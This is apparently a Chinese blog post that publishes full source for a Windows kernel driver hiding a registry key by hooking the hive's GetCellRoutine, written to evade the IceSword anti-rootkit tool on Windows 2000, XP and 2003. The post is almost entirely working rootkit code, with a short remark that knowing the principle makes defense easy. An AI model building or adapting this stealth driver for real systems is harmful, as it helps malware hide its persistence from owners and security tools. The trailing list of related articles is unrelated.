• 发一段隐藏注册表项的驱动代码,可以过目前最新的IceSword1.22


    以前驱动开发网悬赏挑战IceSword时写的,不过最后没公开。那时流氓软件势头正劲,我可不想火上浇油。现在反流氓软件日渐成熟,也就没关系了。知道了原理,防御是非常容易的。

    原理很简单,实现的代码也很短,啥都不用说,各位直接看示例代码吧。

    1. #include <ntddk.h>
    2.  
    3. #define GET_PTR(ptr, offset) ( *(PVOID*)( (ULONG)ptr + (offset##Offset) ) )
    4.  
    5. #define CM_KEY_INDEX_ROOT      0x6972         // ir
    6. #define CM_KEY_INDEX_LEAF      0x696c         // il
    7. #define CM_KEY_FAST_LEAF       0x666c         // fl
    8. #define CM_KEY_HASH_LEAF       0x686c         // hl
    9.  
    10. // 一些CM的数据结构,只列出用到的开头部分
    11. #pragma pack(1)
    12. typedef struct _CM_KEY_NODE {
    13.        USHORT Signature;
    14.        USHORT Flags;
    15.        LARGE_INTEGER LastWriteTime;
    16.        ULONG Spare;               // used to be TitleIndex
    17.        HANDLE Parent;
    18.        ULONG SubKeyCounts[2];     // Stable and Volatile
    19.        HANDLE SubKeyLists[2];     // Stable and Volatile
    20.        // ...
    21. } CM_KEY_NODE, *PCM_KEY_NODE;
    22.  
    23. typedef struct _CM_KEY_INDEX {
    24.        USHORT Signature;
    25.        USHORT Count;
    26.        HANDLE List[1];
    27. } CM_KEY_INDEX, *PCM_KEY_INDEX;
    28.  
    29. typedef struct _CM_KEY_BODY {
    30.        ULONG Type;                // "ky02"
    31.        PVOID KeyControlBlock;
    32.        PVOID NotifyBlock;
    33.        PEPROCESS Process;         // the owner process
    34.        LIST_ENTRY KeyBodyList; // key_nodes using the same kcb
    35. } CM_KEY_BODY, *PCM_KEY_BODY;
    36.  
    37. typedef PVOID (__stdcall *PGET_CELL_ROUTINE)(PVOID, HANDLE);
    38.  
    39. typedef struct _HHIVE {
    40.        ULONG Signature;
    41.        PGET_CELL_ROUTINE GetCellRoutine;
    42.        // ...
    43. } HHIVE, *PHHIVE;
    44. #pragma pack()
    45.  
    46. // 需隐藏的主键名
    47. WCHAR g_HideKeyName[] = L"\\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Services\\Beep";
    48.  
    49. PGET_CELL_ROUTINE g_pGetCellRoutine = NULL;
    50. PGET_CELL_ROUTINE* g_ppGetCellRoutine = NULL;
    51.  
    52. PCM_KEY_NODE g_HideNode = NULL;
    53. PCM_KEY_NODE g_LastNode = NULL;
    54.  
    55. // 打开指定名字的Key
    56. HANDLE OpenKeyByName(PCWSTR pwcsKeyName)
    57. {
    58.        NTSTATUS status;
    59.        UNICODE_STRING uKeyName;
    60.        OBJECT_ATTRIBUTES oa;
    61.        HANDLE hKey;
    62.  
    63.        RtlInitUnicodeString(&uKeyName, pwcsKeyName);
    64.        InitializeObjectAttributes(&oa, &uKeyName, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);
    65.        status = ZwOpenKey(&hKey, KEY_READ, &oa);
    66.        if (!NT_SUCCESS(status))
    67.        {
    68.            DbgPrint("ZwOpenKey Failed: %lx\n", status);
    69.            return NULL;
    70.        }
    71.  
    72.        return hKey;
    73. }
    74.  
    75. // 获取指定Key句柄的KeyControlBlock
    76. PVOID GetKeyControlBlock(HANDLE hKey)
    77. {
    78.        NTSTATUS status;
    79.        PCM_KEY_BODY KeyBody;
    80.        PVOID KCB;
    81.  
    82.        if (hKey == NULL) return NULL;
    83.  
    84.        // 由Key句柄获取对象体
    85.        status = ObReferenceObjectByHandle(hKey, KEY_READ, NULL, KernelMode, &KeyBody, NULL);
    86.        if (!NT_SUCCESS(status))
    87.        {
    88.            DbgPrint("ObReferenceObjectByHandle Failed: %lx\n", status);
    89.            return NULL;
    90.        }
    91.  
    92.        // 对象体中含有KeyControlBlock
    93.        KCB = KeyBody->KeyControlBlock;
    94.        DbgPrint("KeyControlBlock = %lx\n", KCB);
    95.  
    96.        ObDereferenceObject(KeyBody);
    97.  
    98.        return KCB;
    99. }
    100.  
    101. // 获取父键的最后一个子键的节点
    102. PVOID GetLastKeyNode(PVOID Hive, PCM_KEY_NODE Node)
    103. {
    104.        // 获取父键的节点
    105.        PCM_KEY_NODE ParentNode = (PCM_KEY_NODE)g_pGetCellRoutine(Hive, Node->Parent);
    106.        // 获取子键的索引
    107.        PCM_KEY_INDEX Index = (PCM_KEY_INDEX)g_pGetCellRoutine(Hive, ParentNode->SubKeyLists[0]);
    108.  
    109.        DbgPrint("ParentNode = %lx\nIndex = %lx\n", ParentNode, Index);
    110.  
    111.        // 如果为根(二级)索引,获取最后一个索引
    112.        if (Index->Signature == CM_KEY_INDEX_ROOT)
    113.        {
    114.            Index = (PCM_KEY_INDEX)g_pGetCellRoutine(Hive, Index->List[Index->Count-1]);
    115.            DbgPrint("Index = %lx\n", Index);
    116.        }
    117.  
    118.        if (Index->Signature == CM_KEY_FAST_LEAF || Index->Signature == CM_KEY_HASH_LEAF)
    119.        {
    120.            // 快速叶索引(2k)或散列叶索引(XP/2k3),返回最后的节点
    121.            return g_pGetCellRoutine(Hive, Index->List[2*(Index->Count-1)]);
    122.        }
    123.        else
    124.        {
    125.            // 一般叶索引,返回最后的节点
    126.            return g_pGetCellRoutine(Hive, Index->List[Index->Count-1]);
    127.        }
    128. }
    129.  
    130. // GetCell例程的钩子函数
    131. PVOID MyGetCellRoutine(PVOID Hive, HANDLE Cell)
    132. {
    133.        // 调用原函数
    134.        PVOID pRet = g_pGetCellRoutine(Hive, Cell);
    135.        if (pRet)
    136.        {
    137.            // 返回的是需要隐藏的节点
    138.            if (pRet == g_HideNode)
    139.            {
    140.                DbgPrint("GetCellRoutine(%lx, %08lx) = %lx\n", Hive, Cell, pRet);
    141.                // 查询、保存并返回其父键的最后一个子键的节点
    142.                pRet = g_LastNode = (PCM_KEY_NODE)GetLastKeyNode(Hive, g_HideNode);
    143.                DbgPrint("g_LastNode = %lx\n", g_LastNode);
    144.                // 隐藏的正是最后一个节点,返回空值
    145.                if (pRet == g_HideNode) pRet = NULL;
    146.            }
    147.            // 返回的是先前保存的最后一个节点
    148.            else if (pRet == g_LastNode)
    149.            {
    150.                DbgPrint("GetCellRoutine(%lx, %08lx) = %lx\n", Hive, Cell, pRet);
    151.                // 清空保存值,并返回空值
    152.                pRet = g_LastNode = NULL;
    153.            }
    154.        }
    155.        return pRet;
    156. }
    157.  
    158. NTSTATUS DriverUnload(PDRIVER_OBJECT pDrvObj)
    159. {
    160.        DbgPrint("DriverUnload()\n");
    161.        // 解除挂钩
    162.        if (g_ppGetCellRoutine) *g_ppGetCellRoutine = g_pGetCellRoutine;
    163.        return STATUS_SUCCESS;
    164. }
    165.  
    166. NTSTATUS DriverEntry(PDRIVER_OBJECT pDrvObj, PUNICODE_STRING pRegPath)
    167. {
    168.        ULONG BuildNumber;
    169.        ULONG KeyHiveOffset;       // KeyControlBlock->KeyHive
    170.        ULONG KeyCellOffset;       // KeyControlBlock->KeyCell
    171.        HANDLE hKey;
    172.        PVOID KCB, Hive;
    173.  
    174.        DbgPrint("DriverEntry()\n");
    175.  
    176.        pDrvObj->DriverUnload = DriverUnload;
    177.  
    178.        // 查询BuildNumber
    179.        if (PsGetVersion(NULL, NULL, &BuildNumber, NULL)) return STATUS_NOT_SUPPORTED;
    180.        DbgPrint("BuildNumber = %d\n", BuildNumber);
    181.  
    182.        // KeyControlBlock结构各版本略有不同
    183.        // Cell的值一般小于0x80000000,而Hive正相反,以此来判断也可以
    184.        switch (BuildNumber)
    185.        {
    186.            case 2195:     // Win2000
    187.                KeyHiveOffset = 0xc;
    188.                KeyCellOffset = 0x10;
    189.                break;
    190.            case 2600:     // WinXP
    191.            case 3790:     // Win2003
    192.                KeyHiveOffset = 0x10;
    193.                KeyCellOffset = 0x14;
    194.                break;
    195.            default:
    196.                return STATUS_NOT_SUPPORTED;
    197.        }
    198.  
    199.        // 打开需隐藏的键
    200.        hKey = OpenKeyByName(g_HideKeyName);
    201.        // 获取该键的KeyControlBlock
    202.        KCB = GetKeyControlBlock(hKey);
    203.        if (KCB)
    204.        {
    205.            // 由KCB得到Hive
    206.            PHHIVE Hive = (PHHIVE)GET_PTR(KCB, KeyHive);
    207.            // GetCellRoutine在KCB中,保存原地址
    208.            g_ppGetCellRoutine = &Hive->GetCellRoutine;
    209.            g_pGetCellRoutine = Hive->GetCellRoutine;
    210.            DbgPrint("GetCellRoutine = %lx\n", g_pGetCellRoutine);
    211.            // 获取需隐藏的节点并保存
    212.            g_HideNode = (PCM_KEY_NODE)g_pGetCellRoutine(Hive, GET_PTR(KCB, KeyCell));
    213.            // 挂钩GetCell例程
    214.            Hive->GetCellRoutine = MyGetCellRoutine;
    215.        }
    216.        ZwClose(hKey);
    217.  
    218.        return STATUS_SUCCESS;
    219. }
  • 相关阅读:
    Handler一般处理程序的应用--随机图片生成
    一个内外网部署sharepoint的配置
    不使用SQL Server Management Studio备份数据库的方法
    根据模板生成网页
    一个简单的将Oracle生产库定期备份到备份库的方法
    c#序列化与反序列化
    The Java Reliable Multicast Service:A Reliable Multicast Library
    Video capture using JMF
    转:关于Jxta的Advertisement
    Practical JXTA II
  • 原文地址:https://www.cnblogs.com/flying_bat/p/1128631.html
Copyright © 2020-2023  润新知